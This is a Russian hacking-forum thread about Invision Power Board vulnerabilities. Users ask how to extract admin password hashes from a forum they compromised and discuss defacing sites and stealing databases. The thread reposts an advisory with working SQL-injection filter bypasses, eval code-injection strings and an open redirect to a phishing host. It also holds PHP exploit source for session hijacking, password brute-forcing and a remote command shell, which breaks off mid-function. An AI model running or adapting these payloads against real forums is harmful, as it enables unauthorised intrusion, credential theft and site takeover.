• XSS.stack #1 – первый литературный журнал от юзеров форума

Уязвимости: Invision Power Board (IPB)

форум 2.1.6 експлойт r57ipb216gu2i.pl
Немогу врубиться че оттуда вытащить нужно чтоб пас админа стянуть???
В експлойте можно создать нового админа> я создал ну и как на него зайти???
 
я нуб в етом деле=)
в шеле есть возможность:
get data from table:
1)members_login_key
2)name
3)ip_adress
4)legacy_password
5)e-mail
members_converge
1)converge_pass_hash
2)converge_pass_salt
3)converge_email
admin_session:
1)session_id
2)session_ip_adress
3)session_member_name
4)session_member_login_key
что именно надо достать и куда именно всунуть для добычи пасса админа??
 
converge_pass_hash - соленый хэш пароля
converge_pass_salt - непосредственно сама соль
Брутится с помощью PasswordPro
 
Я не особо помню, что в паблике есть, а что нету.
Такой вот вопрос - есть ли вообще информация об исползовании уязвимости в 2.1.5 (поле Client-Ip заголовка), если первичный запрос не SELECT, а DELETE?

Я не прошу выкладывать, если есть, просто ответ - да/нет
 
Все то что надо я взломал! Спасибо :D
а на счет 2.1.5 > хз
P.S.Если я взял пасс админа форума могу ли я пробраться и задефейсить сайт???
Или если это онлайн игра можно ли стырить базы данных ???
 
В общем на одном форуме стоит Invision Power Board v2.0.4 , пробовали вроде и так и эдак , но не получается , кто заинтересовался могу отправить адрес в личку.
 
Заинтересованность - большая , но средства вкладывать в это дело сейчас вариантов просто нету , так что те кто рабоиаеи на энтузиазме милости прошу -
http://www.prozzak.ru/forums/ :)
 
MustHack
По идее можешь. Таме сть доступ к запросам MySQL, есть больше шансов залить шелл (надо разбираться на месте) а если портал от IB стоит тогда ваще париться не стоит ;)
 
Программа: Invision Power Board 2.3.4, возможно более ранние версии

Опасность: Низкая

Наличие эксплоита: Нет

Описание:
Уязвимость позволяет удаленному пользователю произвести XSS нападение.

Уязвимость существует из-за недостаточной обработки входных данных в BBCodes тегах. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.

URL производителя: www.invisionboard.com

Решение: Установите последнюю версию 2.3.4 от 12.03.2008 с сайта производителя.
 
Копипаст
Title: Invision Power Board <= 2.3.5
Multiple Vulnerabilities and Security Bypass

Vendor: http://www.invisionpower.com/community/board/

Advisory: http://acid-root.new.fr/?0:18
Author: DarkFig < gmdarkfig (at) gmail (dot) com >

Released on: 2008/08/29
Changelog: 2008/08/30

Summary: Introduction
Blind SQL Injection
Insecure SQL Password Usage
Admin Session Hijacking
Deep Recursion Protection Bypass
Code Execution
Miscellanious

Risk level: Medium / High
CVE: ----------




I - INTRODUCTION

Before continuing, you need to know some stuff about how
user's inputs are handled. All superglobal arrays which
can be partially modified by the user, are passed to the
function "parse_clean_globals()". Let's see the content
of the file "sources/ipsclass.php":

Код:
  4847| $this->clean_globals( $_GET );
  4848| $this->clean_globals( $_POST );
  4849| $this->clean_globals( $_COOKIE );
  4850| $this->clean_globals( $_REQUEST );

This function will replace special characters such as
the null byte one and "../" (this replacement can be
easily bypassed, we'll see that later), by their
entities. Good idea, but bad implementation:

Код:
  4979|	function clean_globals( &$data, $iteration = 0 )
  ....|
  4991|  foreach( $data as $k => $v )
  4992|  {
  ....|
  4999|    # Null byte characters
  5000|    $v = preg_replace( '/\\\0/' , '\0', $v );
  5001|    $v = preg_replace( '/\\x00/', '\x00', $v );
  5002|    $v = str_replace( '%00'     , '%00', $v );
  5003|    
  5004|    # File traversal
  5005|    $v = str_replace( '../'    , '../', $v )
  5006|
  5007|    $data[ $k ] = $v;

Then, variables which are sent through the GET and
POST methods are passed to another function. Note
that POST variables overwrite the ones sent with the
GET method:

Код:
  4852| # GET first
  4853| $input = $this->parse_incoming_recursively( $_GET, array() );
  4854|  	
  4855| # Then overwrite with POST
  4856| $input = $this->parse_incoming_recursively( $_POST, $input );
  4857|
  4858|	$this->input = $input;

Then POST and GET inputs are passed to the function
"parse_incoming_recursively()". Each input are passed to
two functions. Names are passed to the "parse_clean_key()"
function, values to "parse_clean_value()":

Код:
  4940| function parse_incoming_recursively(&$data,$input=array()...
  4941| {
  ....|
  4952|  foreach( $data as $k => $v )
  4953|  { 
  ....|
  4961|  	$k = $this->parse_clean_key( $k );
  4962|  	$v = $this->parse_clean_value( $v );
  4963|      
  4964|  	$input[ $k ] = $v;
  4965|  }
  ....|
  4969|  	return $input;

The "parse_clean_key()" function uses the "urldecode()"
function, this means you can encode each variable names.

For example, the parameter "act=Members" is the same
as "%2561%2563%2574=Members". We don't really care
about it, cause it will not cause a problem for the
attacker:

Код:
  5024| function parse_clean_key($key)
  5025| {
  5026|   if ($key == "")
  5027|   {
  5028|      return "";
  5029|   }
  5030|      
  5031|   $key = htmlspecialchars(urldecode($key));
  5032|   $key = str_replace( ".."           , ""  , $key );
  5033|   $key = preg_replace( "/\_\_(.+?)\_\_/"  , ""  , $key );
  5034|   $key = preg_replace( "/^([\w\.\-\_]+)$/", "$1", $key );
  5035|      
  5036|   return $key;
  5037| }

This one will replace malicious tags by their entities.
The most efficient replacement, is the one which protect
against SQL Injections, (single/double quotes).

Replacements concerning strings wich contains more than
1 characters can be bypassed with the CR (Carriage Return)
character (eg: bypassing the replacement of ../ by using
..%0D/).

We can also use that trick to encode links. For example the
parameter "act=Members", is the same as "%2561%2563%2574=
M%0De%0Dm%0Db%0De%0Dr%0Ds":

Код:
  5077| function parse_clean_value($val)
  5078| {
  ....|
  5084|   $val = str_replace( " ", " ", $this->txt_stripslashes($val));
  ....|
  5093|   $val = str_replace( "‮",     ''        , $val );
  5094|     
  5095|   $val = str_replace( "&",           "&amp;"         , $val );
  5096|   $val = str_replace( "<!--",        "<!--"  , $val );
  5097|   $val = str_replace( "-->",         "-->"       , $val );
  5098|   $val = preg_replace( "/<script/i", "<script"   , $val );
  5099|   $val = str_replace( ">",           "&gt;"          , $val );
  5100|   $val = str_replace( "<",           "&lt;"          , $val );
  5101|   $val = str_replace( '"',           "&quot;"        , $val );
  5102|   $val = str_replace( "\n",          "
"        , $val ); 
  5103|   $val = str_replace( "$",           "$"        , $val );
  5104|   $val = str_replace( "\r",          ""              , $val );
  5105|   $val = str_replace( "!",           "!"         , $val );
  5106|   $val = str_replace( "'",           "'"         , $val ); 
  ....|    	
  5121|   return $val;
  5122| }

The "txt_stripslashes()" function is also called, it will
reverse the effect of the magic_quotes_gpc directive
(if set to On):

Код:
  3104| function txt_stripslashes($t)
  3105| {
  3106|   if ( $this->get_magic_quotes )
  3107|   {
  3108|      $t = stripslashes($t);
  3109|      $t = preg_replace( "/\\\(?!&amp;#|?#)/", "\", $t );
  3110|   }
  3111|     
  3112|   return $t;
  3113| }

So, we can't use any SQL escape character if
magic_quotes_gpc is turned on. But if not, we can
still use the character \. Now let's see how we'll
bypass these protections =)



II - BLIND SQL INJECTION

Note: Only 2.3.x and 2.2.x branchs seem to be
affected to this issue.

Newest versions support Ajax technology, when you try to
register, there's a check which is made via Ajax. The
"class_ajax" object is created in the file
"sources/action_public/xmlout.php":

Код:
  101| require_once( KERNEL_PATH . 'class_ajax.php' );
  102| 
  103| $this->class_ajax           =  new class_ajax();
  104| $this->class_ajax->ipsclass =& $this->ipsclass;
  105| $this->class_ajax->class_init();

Now let's send "act=xmlout&do=check-display-name&name=A"
to the page "index.php". Then the "check_display_name()"
function is called:

Код:
  134| case 'check-display-name':
  135|     $this->check_display_name('members_display_name');
  136| break;
  ...|
  137| case 'check-user-name':
  138|     $this->check_display_name('name');
  139| break;

Then the "name" variable sent through the GET method is
passed to the "convert_and_make_safe()" function:

Код:
  985| function check_display_name( $field='members_display_name' )
  986| {
  ...|  	
  991|    $name = strtolower( $this->class_ajax->convert_and_make_safe( 
  ...|                        $this->ipsclass->input['name'], 0 ) );
  992|    $name = str_replace("+", "+", $name );

As you can see, this function uses the "rawurldecode()"
function, which can be used to bypass (eg: %2527) all
filters we saw before (eg: the parse_clean_value()
function).

Default charsets are "iso-8859-1" or "utf-8", so the
"parse_clean_value()" function is not applied to our
variable, we can use all characters:

Код:
   87| function convert_and_make_safe( $value, $parse_incoming=1 )
   88| {
   89|    $value = rawurldecode( $value );
   90| 
   91|    $value = $this->convert_unicode( $value );
   92|      
   93|    // This is apparently not needed with the convert_unicode changes I made
   94|      
   95|    $value = $this->convert_html_entities( $value );
   96|  	
   97|    if($parse_incoming OR 
   ..|      (strtolower($this->ipsclass->vars['gb_char_set']) != 'iso-8859-1' 
   98|    && strtolower($this->ipsclass->vars['gb_char_set']) != 'utf-8' ) )
   99|    {
  100|  	$value = $this->ipsclass->parse_clean_value( $value );
  101|    }
  102|  
  103|    return $value;
  104|  }

Then our variable is used in an SQL query, but
this one don't use the "add_slashes()" function,
so we can perform an SQL Injection attack:

Код:
  1062| if( $field == 'members_display_name' )
  1063| {
  1064|      $check_field = 'members_l_display_name';
  1065| }
  1066| else
  1067| {
  1068|      $check_field = 'members_l_username';
  1069| }
  1070|      
  1071| $check_name = $this->ipsclass->DB->build_and_exec_query(
  ....|               array( 'select' => "{$field}, id",
  1072|               'from'   => 'members',
  1073|               'where'  => "{$check_field}='{$name}'",
  1074|               'limit'  => array( 0,1 ) ) );

This will be a Blind SQL Injection, cause the result
of the query isn't returned. We can only know if it
returned TRUE or FALSE:

Код:
  1076| if ( $this->ipsclass->DB->get_num_rows() )
  1077| { 
  1078|     if ( $id AND $check_name['id'] == $id )
  1079|     {
  1080|          $this->class_ajax->return_string('notfound');
  1081|     }
  1082|     else
  1083|     {
  1084|   $this->class_ajax->return_string('found');
  1085|     }
  1086| }

So yes, we can inject parameters in this query, but if
we stop here, we'll only be apt to get values from the
"members" table. And this is not sufficient to get
logged in. Let's check the filter:

Код:
  573| if ( ! IPS_DB_ALLOW_SUB_SELECTS )
  574| {
  575|    # On the spot allowance?
  576|    
  577|    if ( ! $this->allow_sub_select )
  578|    {
  579|        $_tmp = strtolower( $this->remove_all_quotes($the_query) );
  580|    	
  581|        if ( preg_match( "#(?:/\*|\*/)#i", $_tmp ) )
  582|        {
  583|     $this->fatal_error( "..." );
  584|     return false;
  585|        }
  586|    	
  587|        if ( preg_match( "#[^_a-zA-Z]union[^_a-zA-Z]#s", $_tmp ) )
  588|        {
  589|     $this->fatal_error( "..." );
  590|     return false;
  591|        }
  592|        else if ( preg_match_all( "#[^_a-zA-Z](select)[^_a-zA-Z]#s", $_tmp, $matches ) )
  593|        {
  594|     if ( count( $matches ) > 1 )
  595|     {
  596|         $this->fatal_error( "..." );
  597|         return false;
  598|     }
  599|        }
  600|     }
  601| }
  ...|
  607| $this->query_id = mysql_query($the_query, $this->connection_id);

So UNION and SUB SELECT queries are forbidden. That's what
they think, let's try to bypass this filter. The query is
passed to the "remove_all_quotes()" function, let's see
how it works:

Код:
   997| function remove_all_quotes( $t )
   998| {
  1010|  	
  1011|    $t = preg_replace( "#\\\{1,}[\"']#s", "", $t );
  1012|    $t = preg_replace( "#'[^']*'#s"    , "", $t );
  1013|    $t = preg_replace( "#\"[^\"]*\"#s" , "", $t );
  1014|    $t = preg_replace( "#\"\"#s"        , "", $t );
  1015|    $t = preg_replace( "#''#s"          , "", $t );
  ....|
  1017|    return $t;
  1018| }

This seems hard to bypass, but we can do it.
What if I try something like:

' OR 1="'" UNION ... OR 1="'" #

This will be replaced by: or 1= #
Now we just have to encode each special characters:

%2527 OR 1=%2522%2527%2522 UNION ...
OR 1=%2522%2527%2522 #

Now we're apt to get each value stored in the database.
We can try to get a valid session_id, we can also
bruteforce the hash (combined with the salt) in order
to get a password. We don't need specific PHP
configuration, and we can do that with guest rights.



III - INSECURE SQL PASSWORD USAGE

When we log in as a normal user, a cookie named
"ipb_stronghold" is sent. This cookie is generated
via the "stronghold_set_cookie()" function. Let's
see the file "sources/ipsclass.php":

Код:
  1120| function stronghold_set_cookie( $member_id, $member_log_in_key )
  1121|	{
  ....|
  1135|    $ip_octets  = explode( ".", $this->my_getenv('REMOTE_ADDR') );
  1136|    $crypt_salt = md5( $this->vars['sql_pass'].$this->vars['sql_user'] );
  ....|  	
  1142|    $stronghold = md5( md5( $member_id . "-" . $ip_octets[0] . '-'.
  ....|                  $ip_octets[1] . '-' . $member_log_in_key ) . $crypt_salt );	
  ....|
  1148|    $this->my_setcookie( 'ipb_stronghold', $stronghold, 1 );

We know our IP address, we can know the SQL user (with
the SQL Injection), we also know our id (cookie "member_id"),
and the member_login_key variable (cookie "pass_hash").

So we can try to bruteforce the SQL password, from our
local computer. We don't need to use sockets, and this
can be quite easily done.



IV - ADMIN SESSION HIJACKING

When an administrator logs in and go to the Admin Control
Panel (ACP), a session id is generated. Cookies can be
deleted, we just need the SID to be logged in the ACP.
The SID is sent for each request (variable "adsess"),
through the GET method.

When an Admin want to edit a member signature, if he click
on the "Switch between standard and rich text editor" button,
an Ajax request is made:

GET <PATH>/index.php?act=xmlout&do=post-editorswitch

Then, the BBCODE content of the signature will be changed
to their HTML equivalents. If the user has a picture, it
will force the browser to send an HTTP request. Example:

log_headers.gif


Pictures with .php extension are forbidden, but the
attacker can use the Url Rewriting mod, and then
bypass this condition.

The problem is here, the browser will add the "Referer"
header, it will contain the SID value. So the attacker
can get it.

There is several conditions to be logged as Admin, if
the "match_ipaddress" option is turned On, there's a
check which is made on the user IP. If the option
"xforward_matching" is turned on, the attacker can spoof
his IP address. On default configuration:

match_ipaddress = Yes
xforward_matching = No
match_browser = No (user only)

To bypass the ip address filter, the attacker can, for
example, find an XSS (not so hard ..), and then send
GET/POST requests via the Admin Browser, to add another
Admin, or to change theses options.



V - DEEP RECURSION PROTECTION BYPASS

Variables sent through GET/POST/COOKIE, are passed to the
"clean_globals()" function. In this one, there's a
protection against long array, they're limited to a depth
of 10:

Код:
  4979| function clean_globals( &$data, $iteration = 0 )
  4980| {
  4981|    // Crafty hacker could send something like &foo[][][][][][]....
  4982|    // to kill Apache process. We should never have an globals array
  ....|    // deeper than 10..
  4983|
  4984|    if( $iteration >= 10 )
  4985|    {
  4986|  return $data;
  4987|    }
  4988|  
  4989|    if( count( $data ) )
  4990|    {
  4991|        foreach( $data as $k => $v )
  4992|        {
  4993|      if ( is_array( $v ) )
  4994|      {
  4995|          $this->clean_globals( $data[ $k ], $iteration++ );
  4996|      }

But this protection doesn't work, as you can see they use
the post-increment operator. This operator returns the
current value of the variable, and increments it. So the
value of $iteration will never change, cause it'll always
returns 0.

They should use the pre-increment operator, to fix this bug,
change $iteration++ by ++$iteration. The same kind of
protection is used in the "parse_incoming_recursively()"
function.



VI - CODE EXECUTION

The ACP allows admins to manage languages, they can
choose the default language, import a new one, and edit
them. Let's take a look in the file "sources/action_admin/
languages.php":

Код:
   65| switch($this->ipsclass->input['code'])
   66| {
   ..|
   88|  case 'doedit':
   89|    $this->ipsclass->admin->cp_permission_check(...);
   90|    $this->save_langfile();
  110|  break;
  ...|
  935|  function save_langfile()
  936|  {
  ...|
  957|    $lang_file = CACHE_PATH."cache/lang_cache/".$row['ldir'].
  ...|                 "/".$this->ipsclass->input['lang_file'];
  958|
  959|    if (! file_exists( $lang_file ) )  ...
  ...|
  963|
  964|    if (! is_writeable( $lang_file ) ) ...
  ...|
  969|    $barney = array();
  970|  	
  971|    foreach ($this->ipsclass->input as $k => $v)
  972|    {
  973|      if ( preg_match( "/^XX_(\S+)$/", $k, $match ) )
  974|      {
  975|        if ( isset($this->ipsclass->input[ $match[0] ]) )
  976|        {
  977|  	$v = str_replace("'", "'", stripslashes($_POST[$match[0]]));
  978|  	$v = str_replace("<", "<",  $v );
  979|  	$v = str_replace(">", ">", $v );
  980|  	$v = str_replace("&", "&", $v );
  981|  	$v = str_replace("\r", "", $v );
  982|    	
  983|  	$barney[ $match[1] ] = $v;
  984|        }
  985|      }
  986|    }

As you can see, there's several replacements which are
made. Some HTML entities are converted to their applicable
characters. The "stripslashes()" function is also called.
But we don't really care about that, this will not cause
a problem, this was just to show you how user's inputs
are treated. Now let's see how the change is made:

Код:
   993|  $start = "<?php\n\n".'$lang = array('."\n";
   994| 
   995|  foreach($barney as $key => $text)
   996|  {
   997|  $text   = preg_replace("/\n{1,}$/", "", $text);
   998|  $start .= "\n'".$key."'  => \"".str_replace( '"', '\"', $text)."\",";
   999|  }
  1000|  	
  1001|  $start .= "\n\n);\n\n?".">";
  1002| 
  1003|  if ($fh = fopen( $lang_file, 'w') )
  1004|  {
  1005|  	fwrite($fh, $start );
  1006|  	fclose($fh);
  1007|  }
  
  So, there's a protection against double quotes, not all
  escape characters. There are several ways to bypass this
  protection.

  The first method, is to play with what we call "dynamic
  variables". With two $, we can execute PHP code.
  Example: ${${@eval($_SERVER[HTTP_SH])}}

  The second one, is to use another escape character, a
  backslash (\) will do the stuff. The attacker must change
  two inputs. Example:

   First input: hello\
  Second input: ); @eval($_SERVER[HTTP_SH]); /*

 

[COLOR=blue]  VII - MISCELLANIOUS[/COLOR]

  There is also some miscellanious bugs / vuln. There's a
  redirection vulnerability in the file "admin.php":

[CODE]
  27| require_once( './init.php' );
  28| require ROOT_PATH   . "conf_global.php";
  ..|
  38| header( 'Location: '.$INFO['base_url'].'admin/index.php' );

The variable $INFO['base_url'] is not defined (this is
the case on my default configuration), so we can
redirect the user where we want, for example:

admin.php?INFO[base_url]=http://phishing-hax.com/

This can also lead to a Full Path Disclosure vulnerability.
The "header()" function doesn't accept CRLF characters, this
protect against HTTP Response Splitting attacks. The level of
"error_reporting" is set in the file "init.php":

Код:
  210| error_reporting  (E_ERROR | E_WARNING | E_PARSE);

So what we have to do to disclose the full path of IPB, is
just to send CRLF characters: admin.php?INFO[base_url]=%0D%0A

ЭКСПЛОЙТ:
Код:
#!/usr/bin/php -q
<?php
error_reporting(E_ALL ^ E_NOTICE);

# yeah ... it rox (:
class ipb_spl
{
	var $web;

	function main()
	{
  $this->mhead();
  
  # Gimme your args
  $this->p_attack = $this->get_p('attack', true);
  $this->p_prox   = $this->get_p('proxhost');
  $this->p_proxa  = $this->get_p('proxauth');
  
  $this->init_global();
  
  # Proxy params
  if( $this->p_prox )
  {
  	$this->web->proxy($this->p_prox);
  	
  	if( $this->p_proxa )
  	$this->web->proxyauth($this->p_proxa);
  }

  # Where do we go ?
  switch( $this->p_attack )
  {
  	case 1:  $this->code_exec();  break;
  	case 2:  $this->bf_sql_pwd(); break;
  	case 3:  $this->bf_usr_pwd(); break;
  	default: $this->usage();
  }

  return;
	}
	
	function code_exec($loop=1)
	{
  # First loop
  if( $loop == 1 )
  {
  	$this->set_sql_param();
  	$this->set_sql_focus();
  
  	$this->p_acp = $this->get_p('acp');
    
  	# ACP path
  	if( !$this->p_acp )
  	{
    # If the user changed the ACP directory, we can
    # find it (if the "Remove ACP Link" option was not
    # applied) by log in as an Admin, and then click
    # on "Admin CP". This can be done with a user
    # but I didn't implemented that ;) 
    $this->msg('Using default ACP path: admin', 1);
    $this->p_acp = 'admin';
  	}
  	else 
  	$this->msg('Using ACP path "'.$this->p_acp.'"', 1);
  
  	# Init client headers:
  	# Only if we have the same IP as the targeted user (not admin),
  	# it resets session datas, so we try to spoof our 
  	# IP as a random one in order to keep user's session datas while
  	# we bruteforce SQL fields.
  	$this->bypass_matches();
  
  	# Remove expired sessions ( time() - 60*60*2  =  > 2 hours )
  	$this->web->get($this->p_url.$this->p_acp.'/index.php?');
  	$this->msg('Removed all out of date admin sessions', 1);
  
  	# Cookie prefix
  	$this->get_cprefix();
  }
    
  # Admin session ?
  $this->msg('Trying to find an admin session id', 0);
  
  # Got one :]
  if( $this->get_admin_sess() )
  {
  	$this->s_admin = true;
  	$this->s_sess  = $this->data['a_sess_id'];
  	$this->a_url   = $this->p_url.$this->p_acp.'/index.php?adsess='.$this->s_sess;
  }
  
  # Nothing special
  else 
  {
  	$this->s_admin = false;
  	$this->msg('No admin session id found', -1);
  }
  
  # User session ?
  if( !$this->s_sess )
  {
  	$this->msg('Trying to find a user session id', 0);
  	
  	# Yep
  	if( $this->get_user_sess() )
  	$this->s_sess = $this->data['u_sess_id'];

  	# F0ck
  	else 
  	{
    $this->msg('No user session id found', -1);
    $this->msg('Admin session > 2 hours or user logged out', 0);
    $this->msg('Keeping trying until the user connects', 0);
    $this->msg('Entering loop #'.$loop.' ...', 0);
    $this->code_exec(++$loop);
  	}
  }
  	
  $this->msg('Getting security options', 0);
  
  # Security options
  $this->get_sec_options();
  
  # IP filter ?
  if( $this->conf['ip'] === '1' )
  {
  	$this->s_bypass = true;
  	
  	$this->msg('IP filter option is turned on', 0);
  	
  	# Spoofing protection ?
  	if( !$this->conf['xforward'] )
  	{
    # Assuming our IP isn't the same etc..
    $this->msg('Can\'t bypass the IP filter', -1);
    exit(1);
  	}
  	
  	# X-Forwarded-For / Client-IP /
  	# Proxy-User / X-Cluster-Client-IP
  	else 
  	{
    $this->msg('Cool, we can spoof our IP (Client-IP)', 1);
    
    if( $this->s_admin )
    {
    	$this->msg('Trying to find admin\'s last IP', 0);
    	
    	# Admin IP found
    	$this->get_admin_ip();
    	$this->s_ip = $this->data['a_ip_addr'];
    }
    else 
    {
    	$this->s_admin = false;
    	$this->msg('Trying to find user\'s last used IP', 0);
    	
    	# User IP found
    	$this->get_user_ip();
    	$this->s_ip = $this->data['u_ip_addr'];
    }
    
    # Nothing found
    if( !$this->s_ip )
    {
    	# Ahah (:
    	$this->msg('No IP found for this user', -1);
    	$this->give_hope();
    }
    
    # Got one !
    else
    $this->msg('Ok, using IP '.$this->s_ip, 1);
  	}
  }
  
  # User-Agent filter ?
  if( $this->conf['browser'] === '1' && !$this->s_admin )
  {
  	$this->s_bypass = true;
  	
  	$this->msg('Trying to find a valid user-agent', 0);
  	
  	# Good
  	if( $this->get_user_agent() )
  	{
    $this->msg('Ok, using user-agent '.substr($this->data['u_agent'], 0, 10).'...', 1);
    $this->s_agent = $this->data['u_agent'];
  	}
  	
  	# WTF :!
  	else
  	{
    $this->msg('No user-agent found for this user', -1);
    $this->msg('Maybe the browser didn\'t send this header', 0);
    $this->s_agent = '';
  	}
  	
  }

  # Cool !?
  if( !$this->s_bypass )
  $this->msg('Cool, nothing to bypass', 1);
  
  $this->msg('Trying to log in', 0);
  
  # Owned =]
  if( $this->is_logged() )
  {
  	# PHP code
  	if( $this->s_admin )
  	{
    $this->msg('Logged in with an admin session', 1);
    $this->exec_code();
  	}
  	
  	# Normal user ?
  	else
  	{
    $this->msg('Logged in with a user session', 1);
    $this->msg('You can log in using the cookie session_id', 1);

    if( $this->s_ip !== $this->def_ip )
    $this->msg('Set the Client-IP header to: '.$this->s_ip, 1);
    
    if( $this->s_agent )
    $this->msg('Set the User-Agent header to: '.$this->s_agent, 1);
    
    exit(0);
  	}
  }
  else 
  {
  	# Even if the admin logged out .. the admin session
  	# is still valid ;) 
  	$this->msg('Can\'t log in, the session has expired ?!', -1);
  	$this->give_hope();
  }
  
  return;
	}
	
	function bf_sql_pwd()
	{
  $this->p_ip    = $this->get_p('ip', true);
  $this->p_dict  = $this->get_p('dict', true);
  
  $this->p_sql_u = $this->get_p('sqlusr');
  
  $this->p_url   = $this->get_p('url');
  $this->p_uname = $this->get_p('uname');
  $this->p_pwd   = $this->get_p('pwd');
  // or 
  $this->p_uid   = $this->get_p('uid');
  $this->p_hash  = $this->get_p('passhash');
  $this->p_shold = $this->get_p('stronghold');
  
  if( $this->p_uname && $this->p_pwd && $this->p_url )
  {
  	$this->get_cprefix();
  	
  	$this->msg('Trying to get some cookies', 0);
  	
  	$g_dat = 'index.php?act=Login&CODE=01&CookieDate=1';
  	$p_dat = 'UserName='.$this->p_uname.'&PassWord='.$this->p_pwd.'&x=0&y=0';
  
  	$this->web->post($this->p_url.$g_dat, $p_dat);
  
  	$this->p_uid   = $this->web->cookie[$this->s_cprefix.'member_id'];
  	$this->p_hash  = $this->web->cookie[$this->s_cprefix.'pass_hash'];
  	$this->p_shold = $this->web->cookie[$this->s_cprefix.'ipb_stronghold'];
  }
  elseif( !$this->p_uid || !$this->p_hash || !$this->p_shold )
  $this->usage();
  
  if( !$this->p_uid || !$this->p_hash || !$this->p_shold )
  {
  	$this->msg('Can\'t get cookies', -1);
  	$this->msg('You should try with other parameters', -1);
  	exit(1);
  }
  
  $this->msg('Ok, using cookies:', 1);
  
  $this->msg('member_id='.$this->p_uid, 1);
  $this->msg('pass_hash='.$this->p_hash, 1);
  $this->msg('ipb_stronghold='.$this->p_shold, 1);
  
  if( !$this->p_sql_u )
  {
  	$this->set_sql_param();
  	
  	$this->msg('Trying to get the current sql user', 0);
  	
  	if( !$this->get_sql_user() )
  	{
    $this->msg('Can\'t get the sql user', -1);
    $this->msg('If you know the sql user, use -sqlusr', -1);
    exit(1);
  	}
  	else
  	$this->p_sql_u = $this->data['sql_user'];
  }
  
  $this->msg('Ok, using sql user '.$this->p_sql_u, 1);
  
  $dico_c = file($this->p_dict);
  $ip_a   = explode('.', $this->p_ip);
  
  $this->msg('Entering local dictionnary attack ('.count($dico_c).' words)', 0);
  $this->msg('You should take a drink ...', 0);
  
  foreach( $dico_c as $line )
  {
  	$md5 = md5(trim($line).$this->p_sql_u);
  	$md5 = md5($this->p_uid.'-'.$ip_a[0].'-'.$ip_a[1].'-'.$this->p_hash).$md5;
  	$md5 = md5($md5);

  	if( $this->p_shold === $md5 )
  	{
    $this->msg('Found something cool =]', 1);
    $this->msg('SQL password: '.$line, 1);
    exit(1);
  	}

  }
  
  $this->msg('End of the wordlist, password not found', -1);
  
  return;
	}

	function bf_usr_pwd()
	{
  $this->p_dict  = $this->get_p('dict', true);

  $this->p_hash  = $this->get_p('passhash');
  $this->p_salt  = $this->get_p('salt');
  
  if( !$this->p_hash || !$this->p_salt )
  {
  	$this->set_sql_param();
  	$this->set_sql_focus();
  }
  
  if( !$this->p_hash )
  {
  	$this->msg('Trying to get the password hash', 0);
  	
  	if( !$this->get_pass_hash() )
  	{
    $this->msg('Can\'t get the password hash', -1);
    exit(1);
  	}
  	else 
  	$this->p_hash = $this->data['pass_hash'];
  }
  
  $this->msg('Ok, using hash '.$this->p_hash, 1);
  
  if( !$this->p_salt )
  {
  	$this->msg('Trying to get the password salt', 0);
  	
  	if( !$this->get_pass_salt() )
  	{
    $this->msg('Can\'t get the password salt', -1);
    exit(1);
  	}
  	else 
  	$this->p_salt = $this->data['pass_salt'];
  }
  
  $this->msg('Ok, using salt '.$this->p_salt, 1);
  
  $dico_c = file($this->p_dict);
  
  $this->msg('Entering local dictionnary attack ('.count($dico_c).' words)', 0);
  $this->msg('You should take a drink ...', 0);
  
  foreach( $dico_c as $line )
  {
  	if( $this->p_hash === md5(md5($this->p_salt).md5(trim($line))) )
  	{
    $this->msg('Found something cool =]', 1);
    $this->msg('User password: '.$line, 1);
    exit(1);
  	}
  }
  
  $this->msg('End of the wordlist, password not found', -1);
  
  return;
	}
	
	function set_sql_param()
	{
  $this->p_url   = $this->get_p('url', true);
  $this->p_pre   = $this->get_p('prefix');
  
  # Table prefix
  if( !$this->p_pre )
  {
  	# Default table prefix if not precised
  	$this->msg('Using default table prefix: ibf_', 1);
  	$this->p_pre = 'ibf_';
  }
  else 
  $this->msg('Using table prefix '.$this->p_pre, 1);

	}
	
	function set_sql_focus()
	{
  $this->p_uname = $this->get_p('uname');
  $this->p_uid   = $this->get_p('uid');
  
  if( $this->p_uname )
  $this->msg('Using targeted username '.$this->p_uname, 1);
  
  elseif( $this->p_uid )
  $this->msg('Using targeted user id '.$this->p_uid, 1);
  
  # Target
  if( !($this->p_uname || $this->p_uid) )
  {
  	# Default uid if not precised
  	$this->msg('Using default user id: 1', 1);
  	$this->p_uid = 1;
  }

  # Focus on ?
  if( $this->p_uname )
  $this->t_on = 'members_l_username=\''.addslashes($this->p_uname).'\'';
  
  else 
  $this->t_on = 'id='.(int)$this->p_uid;
  
  return;
	}
	
	function exec_code()
	{
  $this->write_code();
  
  while( $this->cmd_prompt() )
  {
  	$this->web->addheader('My-Code', $this->cmd);
  	$this->web->get($this->p_url);

  	print "\n".$this->get_answer();
  }
  
  exit(0);
	}
	
	function get_answer()
	{
  $res_a = explode($this->res_sep, $this->web->getcontent());
  
  if( !$res_a[1] )
  return 'No result to retrieve';
  
  else 
  return $res_a[1];
	}
	
	function cmd_prompt()
	{
  $this->cmd = $this->msg('root@ipb: ', 1, 1, 0, true);
  
  if( !ereg('^(quit|exit)$', $this->cmd) )
  {  
  	$this->cmd = base64_encode($this->cmd);
  	$this->cmd = str_replace('%CMD%', $this->cmd, $this->php_send);
  	
  	return TRUE;
  }

  else
     return FALSE;
	}
	
	function write_code()
	{
  # Gimme the language ID
  $this->get_def_lang();
  
  # Current lang settings
  $p_dat =
  'code=edit2&act=lang&id='.$this->g_lid.'&section'.
  '=lookandfeel&lang_file=lang_boards.php';
  
  $this->web->post($this->a_url, $p_dat);

  # We collect each variable name / value
  if( preg_match_all($this->reg_lvar, $this->web->getcontent(), $l_vars) )
  {
  	# POST data 
  	$p_dat =
  	'code=doedit&act=lang&id='.$this->g_lid.
  	'&lang_file=lang_boards.php&section=lo'.
  	'okandfeel&';

  	# &Name=Value
  	for( $i=0; $i<count($l_vars[0]); $i++ )
  	{
    $p_dat .=
    '&XX_'.$l_vars[1][$i].'='.urlencode($l_vars[2][$i]);
    
    # We write our PHP code in the first variable
    if( $i == 0 )
    $p_dat .= $this->php_write;
  	}
  	
  	# Go on
  	$this->web->post($this->a_url, $p_dat);
  	
  	$this->msg('PHP code written', 1);
  }
  else
  {
  	# WTF :!
  	$this->msg('Can\'t find block variables', 0);
  	exit(1);
  }
  
  return;
	}
	
	function get_def_lang()
	{
  $this->msg('Trying to get the set language id', 0);
  
  $this->web->get($this->a_url.'&section=lookandfeel&act=lang');
  
  if( preg_match($this->reg_lang, $this->web->getcontent(), $lids) )
  {
  	$this->g_lid = $lids[1];
  	$this->msg('Using language id '.$this->g_lid, 1);
  }
  else 
  {
